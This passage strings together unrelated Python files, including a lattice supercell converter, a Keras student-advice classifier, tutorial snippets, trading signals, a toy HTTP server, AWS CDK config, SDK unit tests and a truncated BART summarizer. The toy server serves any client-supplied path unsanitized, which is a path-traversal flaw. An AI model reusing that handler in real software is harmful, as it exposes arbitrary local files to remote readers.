    print(' new a1 =',a1new)
    print(' new a2 =',a2new)
    print(' new a3 =',a3new)
    psnew = NAPSystem(specorder=nsys.specorder)
    psnew.set_lattice(nsys.alc,a1new,a2new,a3new)

    # Expand the original system for the search of atoms to be included
    # in the new system.
    # First, compute how much we have to expand the original system
    hi = np.linalg.inv(hmat)
    icsa1new = [0,0,0]
    icsa2new = [0,0,0]
    icsa3new = [0,0,0]
    for i in range(3):
        if sa1new[i] < 0.0:
            icsa1new[i] = int(sa1new[i]-1.0)
        else:
            icsa1new[i] = int(sa1new[i]+1.0)
        if sa2new[i] < 0.0:
            icsa2new[i] = int(sa2new[i]-1.0)
        else:
            icsa2new[i] = int(sa2new[i]+1.0)
        if sa3new[i] < 0.0:
            icsa3new[i] = int(sa3new[i]-1.0)
        else:
            icsa3new[i] = int(sa3new[i]+1.0)
    print(' icsa1new: ',icsa1new)
    print(' icsa2new: ',icsa2new)
    print(' icsa3new: ',icsa3new)
    for i in range(3):
        if icsa1new[i] == 0:
            raise RuntimeError('icsa1new[i] == 0')
        if icsa2new[i] == 0:
            raise RuntimeError('icsa2new[i] == 0')
        if icsa3new[i] == 0:
            raise RuntimeError('icsa3new[i] == 0')
    irange1 = (min(icsa1new[0],icsa2new[0],icsa3new[0]),
               max(icsa1new[0],icsa2new[0],icsa3new[0]))
    irange2 = (min(icsa1new[1],icsa2new[1],icsa3new[1]),
               max(icsa1new[1],icsa2new[1],icsa3new[1]))
    irange3 = (min(icsa1new[2],icsa2new[2],icsa3new[2]),
               max(icsa1new[2],icsa2new[2],icsa3new[2]))

    print(' irange1: ',irange1)
    print(' irange2: ',irange2)
    print(' irange3: ',irange3)
    expos = []
    symbols = nsys.get_symbols()
    print(' symbols :',symbols)
    exsymbols = []
    print(' Expanding the original system...')
    for n3 in range(min(0,irange3[0]),irange3[1]):
        for n2 in range(min(0,irange2[0]),irange2[1]):
            for n1 in range(min(0,irange1[0]),irange1[1]):
                for ia in range(len(spos)):
                    sposi = copy.deepcopy(spos[ia])
                    sposi[0] += n1
                    sposi[1] += n2
                    sposi[2] += n3
                    posi = np.dot(hmat,sposi)
                    symbol = symbols[ia]
                    # print(ia,n1,n2,n3,symbol,sposi)
                    expos.append(posi)
                    exsymbols.append(symbol)

    print(' Extracting the atoms inside the new unit vectors...')
    hmat= psnew.get_hmat()
    hi = np.linalg.inv(hmat)
    for ia,posi in enumerate(expos):
        sposi = np.dot(hi,posi)
        if 0.0 <= sposi[0] < 1.0 and \
           0.0 <= sposi[1] < 1.0 and \
           0.0 <= sposi[2] < 1.0:
            symbol = exsymbols[ia]
            # print(' {0:5d} {1:s}'.format(ia,symbol)
            #       +' {0:12.5f} {1:12.5f} {2:12.5f}'.format(sposi[0],
            #                                                sposi[1],
            #                                                sposi[2]))

            # atom.set_symbol(symbol)
            # atom.set_pos(sposi[0],sposi[1],sposi[2])
            # psnew.add_atom(atom)
            psnew.add_atoms([symbol],[sposi])

    # tmp = None
    # #tmp = raw_input('Input periodic shift vector if you want: ')
    # tmp = ' 0.5, 0.0, 0.5'
    # if tmp:
    #     shift = [ float(x) for x in tmp.split(',')]
    #     for a in psnew.atoms:
    #         a.pos[0] += shift[0]
    #         a.pos[1] += shift[1]
    #         a.pos[2] += shift[2]
    #     psnew.assign_pbc()
    # psnew.write_POSCAR(infile+'.new')
    # print('Check '+infile+'.new')

    psnew.assign_pbc()

    #...Remove atoms that are too close each other
    psnew.make_pair_list(rcut=1.0)
    poss = psnew.get_scaled_positions()
    hmat = psnew.get_hmat()
    to_remove = []
    for i in range(len(psnew)):
        pi = poss[i]
        pinorm = np.dot(pi,pi)
        for j in psnew.neighbors_of(i):
            if i in to_remove or j in to_remove:
                continue
            pj = poss[j]
            rij = pj-pi -np.round(pj-pi)
            dij2 = np.dot(rij,rij)
            #...dij2 < 0.1 Ang is too close, either one of them must be removed
            if dij2 < 0.1:
                pjnorm = np.dot(pj,pj)
                if pjnorm < pinorm:
                    to_remove.append(j)
                else:
                    to_remove.append(i)

    psnew.remove_atoms(*to_remove)

    return psnew

def main():
    args = docopt(__doc__,version=__version__)
    infile = args['INFILE']
    ax1 = [ float(x) for x in args['--ax1'].split(',') ]
    ax2 = [ float(x) for x in args['--ax2'].split(',') ]
    ax3 = [ float(x) for x in args['--ax3'].split(',') ]
    if len(ax1) != 3:
        raise ValueError('len(ax1) != 3')
    if len(ax2) != 3:
        raise ValueError('len(ax2) != 3')
    if len(ax3) != 3:
        raise ValueError('len(ax3) != 3')

    nsys = nappy.io.read(infile)
    newsys = convert_by_multiply(nsys,ax1,ax2,ax3)
    nappy.io.write(newsys,infile+'_new')
    return None

if __name__ == '__main__':

    main()


from keras.models import Sequential
from keras.layers import Dense
from keras.optimizers import Adam
from keras.optimizers import RMSprop
from keras.optimizers import SGD
from sklearn.model_selection import train_test_split
import numpy as np
import pandas as pd

# get the data set
def read_dataset():
    # read the csv and replaces some string to integers
    df = pd.read_csv("train.csv").replace({np.nan: -10, ' ': ''})
    # all to lower
    df = df.apply(lambda x: x.str.lower() if(x.dtype == 'object') else x)

    df.columns = map(str.lower, df.columns)

    # get all input collumn with string
    columns_to_encode = df.drop(['advies', 'studentnummer', 'plaats', 'reden_stoppen', 'voorkeursopleiding'], axis=1).select_dtypes(
        include=['object']).columns.values
    # Converting categorical data into numbers
    df = pd.get_dummies(df, columns=columns_to_encode)

    df.rename(columns={
              'nadereori�ntatieopeenad-opleidingin�s-hertogenbosch': 'hertogenbosch'}, inplace=True)

    df.columns = [c.replace(' ', '') for c in df.columns]
    df.columns = [c.replace('+', '') for c in df.columns]
    df.columns = [c.replace('&', '') for c in df.columns]
    df.columns = [c.replace(',', '') for c in df.columns]
    df.columns = [c.replace('(', '') for c in df.columns]
    df.columns = [c.replace(')', '') for c in df.columns]
    df.columns = [c.replace('%', '') for c in df.columns]
    df.columns = [c.replace("'", '') for c in df.columns]

    # all the values of the csv
    X = df[df.drop(['advies', 'studentnummer', 'plaats',
                    'reden_stoppen', 'voorkeursopleiding'], axis=1).columns[0:192]]

    # get the expected output
    y = df[df.columns[3]]
    # encode the output
    Y = pd.get_dummies(y)

    return(X, Y)

# read the data set
X, Y = read_dataset()

# split the dataset into train and test part
train_x, test_x, train_y, test_y = train_test_split(
    X, Y, test_size=0.13986013986013987)

# create model
model = Sequential()
model.add(Dense(12, input_dim=75, activation='relu'))
model.add(Dense(8, activation='relu'))
model.add(Dense(3, activation='softmax'))

# the optimizer
adam = Adam(lr=0.01)
sgd = SGD(lr=0.01)
rmsprop = RMSprop(lr=0.01)

# Compile model
model.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['binary_accuracy', 'categorical_accuracy'])

# Fit/train the model
model.fit(train_x, train_y, epochs=500, shuffle=False, batch_size=10, validation_data=(test_x, test_y))

# evaluate the model
scores = model.evaluate(test_x, test_y)
print("\n%s: %.2f%%" % (model.metrics_names[1], scores[1]*100))
print("\n%s: %.2f%%" % (model.metrics_names[2], scores[2]*100))

# # calculate predictions
# predictions = model.predict(test_x)
# # round predictions
# rounded = [round(x[0]) for x in predictions]
# print(rounded)

'''
010 positief
100 negatief
001 twijfel
'''


def Output_Formatting():
    import reprlib
    print(reprlib.repr(set('supercalifragilisticexpialidocious')))

    import pprint
    t = [[[['black', 'cyan'], 'white', ['green', 'red']], [['magenta', 'yellow'], 'blue']]]
    pprint.pprint(t, width=30)

    import textwrap
    doc = """The wrap() method is just like fill() except that it returns
    a list of strings instead of one big string with newlines to separate
    the wrapped lines."""
    print(textwrap.fill(doc, width=40))

    import locale
    locale.setlocale(locale.LC_ALL, 'English_United States.1252')
    conv = locale.localeconv()  # get a mapping of conventions
    x = 1234567.8
    # locale.format("%d", x, grouping=True) #DeprecationWarning: This method will be removed in a future version of Python. Use 'locale.format_string()' instead. locale.format("%d", x, grouping=True)
    locale.format_string("%s%.*f", (conv['currency_symbol'],
                                    conv['frac_digits'], x), grouping=True)

def Templating():
    from string import Template
    t = Template('${village}folk send $$10 to $cause.')
    s = t.substitute(village='Nottingham', cause='the ditch fund')
    print(s)

    t = Template('Return the $item to $owner.')
    d = dict(item='unladen swallow')
    # substitute = t.substitute(d) #error
    # print(substitute)
    safe_substitute = t.safe_substitute(d)
    print(safe_substitute)

    import time, os.path
    photofiles = ['img_1074.jpg', 'img_1076.jpg', 'img_1077.jpg']

    class BatchRename(Template):
        delimiter = '%'
        fmt = input('Enter rename style (%d-date %n-seqnum %f-format):  ')

    t = BatchRename(fmt)
    date = time.strftime('%d%b%y')
    for i, filename in enumerate(photofiles):
        base, ext = os.path.splitext(filename)
        newname = t.substitute(d=date, n=i, f=ext)
        print('{0} --> {1}'.format(filename, newname))

def Working_with_Binary_Data_Record():
    import struct

    with open('myfile.zip', 'rb') as f:
        data = f.read()

    start = 0
    for i in range(3):  # show the first 3 file headers
        start += 14
        fields = struct.unpack('<IIIHH', data[start:start + 16])
        crc32, comp_size, uncomp_size, filenamesize, extra_size = fields

        start += 16
        filename = data[start:start + filenamesize]
        start += filenamesize
        extra = data[start:start + extra_size]
        print(filename, hex(crc32), comp_size, uncomp_size)

        start += extra_size + comp_size  # skip to the next header

def Multi_threading():
    import threading, zipfile

    class AsyncZip(threading.Thread):
        def __init__(self, infile, outfile):
            threading.Thread.__init__(self)
            self.infile = infile
            self.outfile = outfile

        def run(self):
            f = zipfile.ZipFile(self.outfile, 'w', zipfile.ZIP_DEFLATED)
            f.write(self.infile)
            f.close()
            print('Finished background zip of:', self.infile)

    background = AsyncZip('mydata.txt', 'myarchive.zip')
    background.start()
    print('The main program continues to run in foreground.')

    background.join()  # Wait for the background task to finish
    print('Main program waited until background was done.')

def Logging():
    import logging
    logging.debug('Debugging information')
    logging.info('Informational message')
    logging.warning('Warning:config file %s not found', 'server.conf')
    logging.error('Error occurred')
    logging.critical('Critical error -- shutting down')

def Tools_for_Working_with_Lists():
    from array import array
    a = array('H', [4000, 10, 700, 22222])
    print(sum(a))
    print(a[1:3])

    from collections import deque
    d = deque(["task1", "task2", "task3"])
    d.append("task4")
    print("Handling", d.popleft())

    import bisect
    scores = [(100, 'perl'), (200, 'tcl'), (400, 'lua'), (500, 'python')]
    bisect.insort(scores, (300, 'ruby'))
    print(scores)

    from heapq import heapify, heappop, heappush
    data = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]
    heapify(data)  # rearrange the list into heap order
    heappush(data, -5)  # add a new entry
    a = [heappop(data) for i in range(3)]  # fetch the three smallest entries
    print(a)

if __name__ == "__main__":
    # Output_Formatting()
    # Templating()
    # Working_with_Binary_Data_Record()
    # Multi_threading()
    # Logging()
    Tools_for_Working_with_Lists()


# @ credit to
#       github: wyf-ACCEPT
#       email : define_wifi@163.com

# MA 均线策略: 跌破均线时卖出

import numpy as np
import pandas as pd

def MA_touch_strategy(
    data: pd.DataFrame,
    N: int = 12,
):
    assert {'Open', 'Close', 'High', 'Low', 'Volume'} <= set(data.columns), \
        "The OHCLV information ('Open', 'Close', 'High', 'Low', 'Volume') should be in the data!"
    length = data.shape[0]

    ma = data['Close'].rolling(N).mean()
    low, high, close = data['Low'], data['High'], data['Close']
    strategy = np.zeros(length)

    for i in range(N-1, length):
        if ma[i-1] > close[i-1] and ma[i] < close[i]:
            strategy[i] = 1
        if ma[i-1] < close[i-1] and ma[i] > close[i]:
            strategy[i] = -1

    return strategy

def MA_cross_strategy(
    data: pd.DataFrame,
    N1: int = 5,
    N2: int = 20,
):
    assert {'Open', 'Close', 'High', 'Low', 'Volume'} <= set(data.columns), \
        "The OHCLV information ('Open', 'Close', 'High', 'Low', 'Volume') should be in the data!"
    assert N1 < N2, "The first MA parameter should be smaller than the second one!"
    length = data.shape[0]

    close = data['Close']
    ma1 = close.rolling(N1).mean()
    ma2 = close.rolling(N2).mean()
    ma_diff = ma1 - ma2
    strategy = np.zeros(length)

    for i in range(N2, length):
        if ma_diff[i-1] < 0 and ma_diff[i] >= 0:
            strategy[i] = 1
        if ma_diff[i-1] >= 0 and ma_diff[i] < 0:
            strategy[i] = -1

    return strategy


"""Equals (#=): evaluate and update script

Usage:
    equals [options] <input>

Options:
    -i, --in-place
    -d, --debug
    -o PATH, --output PATH
    -u, --updates-only
    -l LANG, --language LANG

"""

import sys
import logging
import fileinput
import json
import docopt
from equals.languages import langmap
from equals.utils import process_script_output

APP_NAME = 'equals'

log = logging.getLogger(APP_NAME)

import argparse
import pathlib

def parse_args(args=None) -> argparse.Namespace:

    epilog="""

    Known languages:
    """
    epilog += ', '.join(langmap.keys())

    # command line interface
    parser = argparse.ArgumentParser(prog=APP_NAME, epilog=epilog)

    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument('-i', '--in-place', action='store_true', help='Update the input file in place.')
    group.add_argument('-o', '--output', type=pathlib.Path, help='Output file')
    group.add_argument('-u', '--updates-only', action='store_true', help="Print out only updateted values in json format.")

    parser.add_argument('-d', '--debug', action='store_true', help="Run in debug mode.")
    parser.add_argument('-l', '--lang', type=str, help='Input language')
    parser.add_argument('input', type=str, help="Input file, for input from stdin use '-' as in input.")

    return parser.parse_args(args)

def main():
    args = parse_args()

    in_place = args.in_place
    debug = args.debug
    output = args.output
    updates_only = args.updates_only
    language = args.lang
    filepath = args.input

    # setup logging
    logging.basicConfig(level='DEBUG' if debug else 'INFO')

    # get language
    lang = langmap[language]

    # if editing in place output is same as input
    if in_place and not filepath == '-':
        output = filepath

    # read file into list of lines, without linebreaks
    f = fileinput.input(files=(filepath, ))
    lines_in = []
    for line in f:
        lines_in.append(line[:-1])
    f.close()

    # preprocessing
    lines_pp, lines_eq = lang.preprocess(lines_in)

    # execute the modified code
    text = '\n'.join(lines_pp)
    stdout, stderr = lang.execute(text)

    # print error and exit if there is one
    if stderr:
        print("There was an error in the input:", file=sys.stderr)
        print(stderr, file=sys.stderr)
        print("The input is:", file=sys.stderr)
        print(text, file=sys.stderr)
        sys.exit(1)

    # post processing
    for i, value in process_script_output(stdout.split('\n')):
        lines_eq[i].value = value

    # print updates if required
    if updates_only:
        updates = []
        for el in lines_eq.values():
            updates.append(el.as_dict())
        print(json.dumps(updates))
        sys.exit(0)

    # appli updates
    lines_out = []
    for i, line in enumerate(lines_in):
        if i in lines_eq:
            lines_out.extend(lines_eq[i].get_updated_lines())
        else:
            lines_out.append(line)

    # output
    text = '\n'.join(lines_out)
    if output:
        with open(output, 'w') as f:
            f.write(text)
    else:
        print(text, end='')


from django import template
from django.template import Template, Context
from ndstats.models import TEAM_EMP

register = template.Library()

@register.filter(name='lookup')
def cut(value, arg):
    try:
        return value[arg]
    except (IndexError, KeyError):
        return ''

@register.simple_tag
def player_line(player, team, is_comm=False):
    if not player:
        return Template("	").render(Context())
    if is_comm:
        ptime = player.time_empire_cmd if team == TEAM_EMP else player.time_consortium_cmd
    else:
        ptime = player.time_empire if team == TEAM_EMP else player.time_consortium

    if ptime:
        m, s = int(ptime / 60), ptime % 60
    else:
        m, s = 0, 0

    return Template('''
        {{ player }}
      {{ player.score }}
      {{ player.kills }}
      {{ player.buildings }}
      {{ time_m }}:{{ time_s }}
    ''').render(Context({
        'player': player,
        'time_m': m,
        'time_s': ('0%s' % s)[-2:],
    }))


#!/usr/bin/env python3

# Welcome to my test server
# Comments are just to explain (to myself mainly) how each of the commands work

from http.server import HTTPServer, BaseHTTPRequestHandler
import os
import logging
from datetime import datetime

port = 8000

class SimpleRequestHandler(BaseHTTPRequestHandler):
# This class is called into existence when the HTTPD server gets a request on the above port
# It currently only handles GET and POST actions

    def do_GET(self):
        if self.path == '/':
            self.path = '/serverbaby_test.html'
            # if this is a directory [ends in /], use file called serverbaby_test.html

        try:
            file_to_open = open(self.path[1:]).read()
            # open serverbaby_test.html
            server_time_local = self.log_date_time_string()
            # take the current LOCAL time from the server
            date_obj = datetime.strptime(server_time_local, '%d/%b/%Y %H:%M:%S')
            # identify the components that make up the server time
            served_on_time = datetime.strftime(date_obj, '%d-%m-%Y %I:%M:%S %p')
            # Turn those components into a string in the desired format to display the time
            amended_file = file_to_open.replace("XXXXXXXXXX", str(served_on_time))
            # XXXXXXXXXX is a a placeholder in the serverbaby_test.html file to insert the time
            # replace the placeholder with the actual time from the server
            self.send_response(200)
            # send an "OK" response from the server

        except:
            # this is a bare except, which means it will catch any and all exceptions.
            # Bare excepts are not usually recommended but desired for this example.
            amended_file = "404 Not Found - Whoops! You broke the Interwebz"
            # if for any reason the file serverbaby_test.html can't be located opened, read, amended etc
            # This error message will display on the browser instead
            self.send_response(404)
            # 404 Not Found - Requested resource could not be found.
            # Subsequent requests by the client permissible.
        self.end_headers()
        # tells the program this line is the end of what to display as html
        self.wfile.write(bytes(amended_file, 'utf-8'))
        # take the text contents of whatever is currently saved in "amended_file",
        # either the amended version of serverbaby_test.html or the error message,
        # and display it in the browser window

def run(server_class=HTTPServer, handler_class=SimpleRequestHandler, variable_port=port):
    logging.basicConfig(level=logging.INFO)
    # info(msg, *args, **kwargs)  Logs a message with level INFO on this logger.
    server_address = ('', port)
    # any IP address for server, port == the port listed above [8000]
    httpd = server_class(server_address, handler_class)
    local_path = os.getcwd()
    # os.getcwd() == absolute path of the current working directory
    message = 'serving from {0} at port {1}'
    print(message.format(local_path, variable_port))
    # print the welcome message with the following details:
    # format:   0 == local_path, 1 == variable_port
    logging.info('Starting server, use <Ctrl-C> to stop...\n')
    # this message is displayed, and the logging info is displayed after this message
    try:
        # This is where the listener is set up
        httpd.serve_forever()
        # if the code works, and there is no Keyboard Interrupt, it leaves the server running
    except KeyboardInterrupt:
        # KeyboardInterrupt - Raised when the user presses Ctrl+c, Ctrl+z or Delete
        httpd.server_close()
        # if a KeyboardInterrupt is entered, close the server and print the below message
        logging.info('<Ctrl-C> entered, shutting down server\n')

if __name__ == '__main__':
    run()
    # this makes it all run....


#!/usr/bin/env python3

from aws_cdk import core
from eks_cluster.eks_stack import EKSWorkshop

nodejs_service_details = {
    "service_name": "ecsdemo-nodejs",
    "replicas": 3,
    "labels": {
        "app": "ecsdemo-nodejs"
    },
    "image": "brentley/ecsdemo-nodejs:latest",
    "port": 3000,
    "service_type": "backend"
}

crystal_service_details = {
    "service_name": "ecsdemo-crystal",
    "replicas": 3,
    "labels": {
        "app": "ecsdemo-crystal",
    },
    "image": "brentley/ecsdemo-crystal:latest",
    "port": 3000,
    "service_type": "backend"
}

frontend_service_details = {
    "service_name": "ecsdemo-frontend",
    "replicas": 3,
    "labels": {
        "app": "ecsdemo-frontend",
    },
    "image": "brentley/ecsdemo-frontend:latest",
    "port": 3000,
    "service_type": "frontend",
    "env": [
        {"name": "CRYSTAL_URL", "value": "http://ecsdemo-crystal.default.svc.cluster.local/crystal"},
        {"name": "NODEJS_URL", "value": "http://ecsdemo-nodejs.default.svc.cluster.local/"},
    ]
}

# Cluster name: If none, will autogenerate
cluster_name = None
# Capacity details: Cluster size of small/med/large
capacity_details = "large"
# Fargate enabled: Create a fargate profile on the cluster
fargate_enabled = True
# Bottlerocket ASG: Create a self managed node group of Bottlerocket nodes
bottlerocket_asg = False

app = core.App()

EKSWorkshop(app, "cftc-demo", fargate_enabled=fargate_enabled,
capacity_details=capacity_details, bottlerocket_asg=bottlerocket_asg,
nodejs_service=nodejs_service_details, crystal_service=crystal_service_details,
frontend_service=frontend_service_details)

app.synth()


"""
Write a Python program to find unique triplets
whose three elements gives the sum of zero from an array of n integers
"""

import itertools

def find_unique_triplets(nums):
    res = []
    n = len(nums)
    zs = set(nums)
    for i in range(n):
        for j in range(i, n):
            x, y = nums[i], nums[j]
            if x == y:
                continue
            z = -(x + y)
            if x == z or y == z:
                continue
            if z in zs:
                t = sorted((x, y, z))
                if t not in res:
                    res.append(t)
                break
    return res

xs = [3, 5, -7, 11, 2]
print(find_unique_triplets(xs))  # 2, 5, -7

ys = [1, -6, 4, 2, -1, 0, 2, 0, -2, 0]
print(find_unique_triplets(ys))  # -6, 4, 2 or 1, -1, 0 or 2, 0, -2

# use built-in combinations
print(list(filter(lambda t: sum(t) == 0, itertools.combinations(set(xs), 3))))
print(list(filter(lambda t: sum(t) == 0, itertools.combinations(set(ys), 3))))


import sys
import time
import numpy as np
import os
from pyspark import SparkContext

if __name__ == "__main__":

    sc = SparkContext(appName="LR")
    D = 10  # Number of dimensions
    iterations = 20
    N = 10
    if len(sys.argv)>1:
        N = int(sys.argv[1])
    if len(sys.argv)>2:
        iterations = int(sys.argv[2])
    if len(sys.argv)>3:
        D = int(sys.argv[3])
    print("N %d D %d iterations %d" %(N,D,iterations))

    points = sc.parallelize(range(1,N)).mapPartitions(lambda r: [np.random.ranf(size=(len(list(r)),D+1))])

    points.cache().first()
    start = time.time()

    w = 2 * np.random.ranf(size=D) - 1
    print("Initial w: " + str(w))

    # Compute logistic regression gradient for a matrix of data points
    def gradient(matrix, w):
        Y = matrix[:, 0]    # point labels (first column of input file)
        X = matrix[:, 1:]   # point coordinates
        # For each point (x, y), compute gradient function, then sum these up
        return ((1.0 / (1.0 + np.exp(-Y * X.dot(w))) - 1.0) * Y * X.T).sum(1)

    def add(x, y):
        x += y
        return x

    for i in range(iterations):
        #print("On iteration %i" % (i + 1))
        w -= points.map(lambda m: gradient(m, w)).reduce(add)

    print("Final w: " + str(w))

    print("lr exec time %f" % (time.time()-start))
    sc.stop()


import json
from typing import Any, Dict

import httpx
import pytest
from pytest_httpx import HTTPXMock

import assemblyai as aai
from assemblyai.api import ENDPOINT_TRANSCRIPT
from tests.unit import factories

aai.settings.api_key = "test"

def __submit_request(httpx_mock: HTTPXMock, **params) -> Dict[str, Any]:
    """
    Helper function to abstract calling transcriber with given parameters,
    and perform some common assertions.

    Returns the body (dictionary) of the initial submission request.
    """
    summary = "example summary"

    mock_transcript_response = factories.generate_dict_factory(
        factories.TranscriptCompletedResponseFactory
    )()

    # Mock initial submission response
    httpx_mock.add_response(
        url=f"{aai.settings.base_url}{ENDPOINT_TRANSCRIPT}",
        status_code=httpx.codes.OK,
        method="POST",
        json=mock_transcript_response,
    )

    # Mock polling-for-completeness response, with mock summary result
    httpx_mock.add_response(
        url=f"{aai.settings.base_url}{ENDPOINT_TRANSCRIPT}/{mock_transcript_response['id']}",
        status_code=httpx.codes.OK,
        method="GET",
        json={**mock_transcript_response, "summary": summary},
    )

    # == Make API request via SDK ==
    transcript = aai.Transcriber().transcribe(
        data="https://example.org/audio.wav",
        config=aai.TranscriptionConfig(
            **params,
        ),
    )

    # Check that submission and polling requests were made
    assert len(httpx_mock.get_requests()) == 2

    # Check that summary field from response was traced back through SDK classes
    assert transcript.summary == summary

    # Extract and return body of initial submission request
    request = httpx_mock.get_requests()[0]
    return json.loads(request.content.decode())

@pytest.mark.parametrize("required_field", ["punctuate", "format_text"])
def test_summarization_fails_without_required_field(
    httpx_mock: HTTPXMock, required_field: str
):
    """
    Tests whether the SDK raises an error before making a request
    if `summarization` is enabled and the given required field is disabled
    """
    with pytest.raises(ValueError) as error:
        __submit_request(httpx_mock, summarization=True, **{required_field: False})

    # Check that the error message informs the user of the invalid parameter
    assert required_field in str(error)

    # Check that the error was raised before any requests were made
    assert len(httpx_mock.get_requests()) == 0

    # Inform httpx_mock that it's okay we didn't make any requests
    httpx_mock.reset(False)

def test_summarization_disabled_by_default(httpx_mock: HTTPXMock):
    """
    Tests that excluding `summarization` from the `TranscriptionConfig` will
    result in the default behavior of it being excluded from the request body
    """
    request_body = __submit_request(httpx_mock)
    assert request_body.get("summarization") is None

def test_default_summarization_params(httpx_mock: HTTPXMock):
    """
    Tests that including `summarization=True` in the `TranscriptionConfig`
    will result in `summarization=True` in the request body.
    """
    request_body = __submit_request(httpx_mock, summarization=True)
    assert request_body.get("summarization") == True

def test_summarization_with_params(httpx_mock: HTTPXMock):
    """
    Tests that including additional summarization parameters along with
    `summarization=True` in the `TranscriptionConfig` will result in all
    parameters being included in the request as well.
    """

    summary_model = aai.SummarizationModel.conversational
    summary_type = aai.SummarizationType.bullets

    request_body = __submit_request(
        httpx_mock,
        summarization=True,
        summary_model=summary_model,
        summary_type=summary_type,
    )

    assert request_body.get("summarization") == True
    assert request_body.get("summary_model") == summary_model
    assert request_body.get("summary_type") == summary_type

def test_summarization_params_excluded_when_disabled(httpx_mock: HTTPXMock):
    """
    Tests that additional summarization parameters are excluded from the submission
    request body if `summarization` itself is not enabled.
    """
    request_body = __submit_request(
        httpx_mock,
        summarization=False,
        summary_model=aai.SummarizationModel.conversational,
        summary_type=aai.SummarizationType.bullets,
    )

    assert request_body.get("summarization") is None
    assert request_body.get("summary_model") is None
    assert request_body.get("summary_type") is None


import sys, math
import csv

parkingProbabilitiesFile='modules/perSecondArrayNorm.csv'

# This routine distributes a number of parking events over a particular
# timeframe, returning a dictionary array of how many parking events
# should occur on each second. Expects time in seconds, matching
# real-life time.
def distributeEvents(numberOfEvents, startTime=10800, endTime=75600):
	parkingEventDictionary = {}

	# Import parking probability density (in 1-second intervals, 24-hour, Chicago2007)
	csvfile=open(parkingProbabilitiesFile, newline='')
	pdfdata = csv.reader(csvfile, delimiter=',')

	# Go through probability data and perform necessary calculations
	remainder=0
	for row in pdfdata:
		csvTime=int(row[0])
		if csvTime < startTime:
			continue
		elif csvTime >= endTime:
			break

		numParkingEvents = float(row[1])*numberOfEvents+remainder
		parkingEventDictionary[csvTime] = int( math.modf(numParkingEvents)[1] )
		remainder = math.modf(numParkingEvents)[0]

	return parkingEventDictionary


# max x + y
# s.t. ax + by <= 1
#       x, y   >= 0
#
# infeasible: a,b < 0
# unlimited: a < 0, b > 0
# one solution: a,b > 0 && (a != b)
# multiple solutions: a = b && a,b > 0

import sys
import matplotlib.pyplot as plt
from matplotlib.patches import Polygon
import numpy as np
from pulp import *

def target(x):
    return -x

# a,b = -1
def infeasible(x):
    return -x - 1

# a = -1, b = 1
def unlimited(x):
    return x + 1

# a = 1, b = 2
def oneSol(x):
    return -x/2 + 1/2

# a,b = 1
def multSol(x):
    return -x + 1

x = np.array([-2, -1, 0, 1, 2])

fig, axs = plt.subplots(2,2)
fig.suptitle('Parameterized Lp')

for i in range(2):
    for j in range(2):
        axs[i][j].plot(x, target(x), color='red')
        axs[i][j].spines['bottom'].set_position('zero')
        axs[i][j].spines['left'].set_position('zero')
        axs[i][j].spines['top'].set_visible(False)
        axs[i][j].spines['right'].set_visible(False)
        axs[i][j].grid()

axs[0][0].plot(x, infeasible(x), color='violet')
axs[0][0].set_title('Infeasible')
verts = [(0,0), (2,0),(2,2),(0,2)]
axs[0][0].add_patch(Polygon(verts, color='pink'))
verts = [(-2,1), (2,-3),(-2,-3)]
axs[0][0].add_patch(Polygon(verts, color='pink'))

axs[0][1].plot(x, unlimited(x), color='yellow')
axs[0][1].set_title('Unlimited')
verts = [(0,0), (2,0),(2,3),(0,1)]
axs[0][1].add_patch(Polygon(verts, color='pink'))

axs[1][0].plot(x, oneSol(x), color='green')
axs[1][0].set_title('One solution')
verts = [(0,0), (1,0),(0,1/2)]
axs[1][0].add_patch(Polygon(verts, color='pink'))

axs[1][1].plot(x, multSol(x), color='blue')
axs[1][1].set_title('Multiple solutions')
verts = [(0,0), (1,0),(0,1)]
axs[1][1].add_patch(Polygon(verts, color='pink'))

plt.show()

if len(sys.argv) > 1:
    prob = LpProblem('para', LpMaximize)
    x = LpVariable('x', 0)
    y = LpVariable('y', 0)
    prob.setObjective(x+y)
    if sys.argv[1] == 'mult':
        prob += x + y <= 1
        prob.solve()
    if sys.argv[1] == 'unbounded':
        prob += -x + y <= 1
        prob.solve()
    if sys.argv[1] == 'infeasible':
        prob += -x - y <= 1
        prob.solve()
    if sys.argv[1] == 'one':
        prob += x + 2 * y <= 1
        prob.solve()

    print(LpStatus[prob.status], '\n')
    if(prob.status):
        print("objective value: ", value(prob.objective))
        print(f"x: {value(x)}")
        print(f"y: {value(y)}")


import numpy as np
import time

def read_slope_alignment():
    values = np.linspace(0, 0.4, 20)

    for i in values:
        with open('test.dat') as f:
            line = f.readlines()
            to_change = line[13]
            line[13] = f"Slope_Align = {round(i,3)} \n"
            print(line[13])

        with open('test.dat', 'w') as file:
            file.writelines(line)
        time.sleep(1)

read_slope_alignment()


# https://codeforces.com/problemset/problem/1772/B

def check(a, b, c, d):
    if check2(a, b, c, d):
        return "YES"
    if check2(c, a, d, b):
        return "YES"
    if check2(d, c, b, a):
        return "YES"
    if check2(b, d, a, c):
        return "YES"
    return "NO"

def check2(a, b, c, d):
    if a < b and a < c and c < d and b < d:
        return 1
    return 0

for _ in range(int(input())):
    a, b = map(int, input().split())
    c, d = map(int, input().split())
    print(check(a, b, c, d))


import torch
from transformers import BartForConditionalGeneration, BartTokenizer

# Set device to the GPU if available
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# Load pre-trained model for text summarization
bart_model = BartForConditionalGeneration.from_pretrained("facebook/bart-large-cnn")
bart_model.to(device)
# Load BART tokenizer
bart_tok = BartTokenizer.from_pretrained("facebook/bart-large-cnn")

def summarize(sentences):
    # Define function for single text summarization
    def single_summarise(input_sent_ids):
        # Generate summary
        summary_ids = bart_model.generate(input_sent_ids, max_length=510, num_beams=4, early_stopping=True)
        # Decode summary back to text
        summary_text = bart_tok.decode(summary_ids[0], skip_special_tokens=True)
        # Return summarized text
        return summary_text

    # Define function for summarization of too large texts
    def large_summarize(input_ids):
        # Initialize result as an empty tensor
        summ = torch.tensor([], dtype=torch.long).to(device)
        # While there is more then 1024 ids in input
        while len(input_ids[0])>1024:
            # Get first 1023 ids and add SEP token at the end
            part = torch.cat((input_ids[0][:1023].unsqueeze(-2), torch.tensor([2]).unsqueeze(-2).to(device)), dim=-1)
            # Generate summary of this firs 1024 tokens
            sum_part = bart_model.generate(part, max_length=510, num_beams=4, early_stopping=True)
            # Add summary to the result
            summ = torch.cat((summ, sum_part), dim=-1)
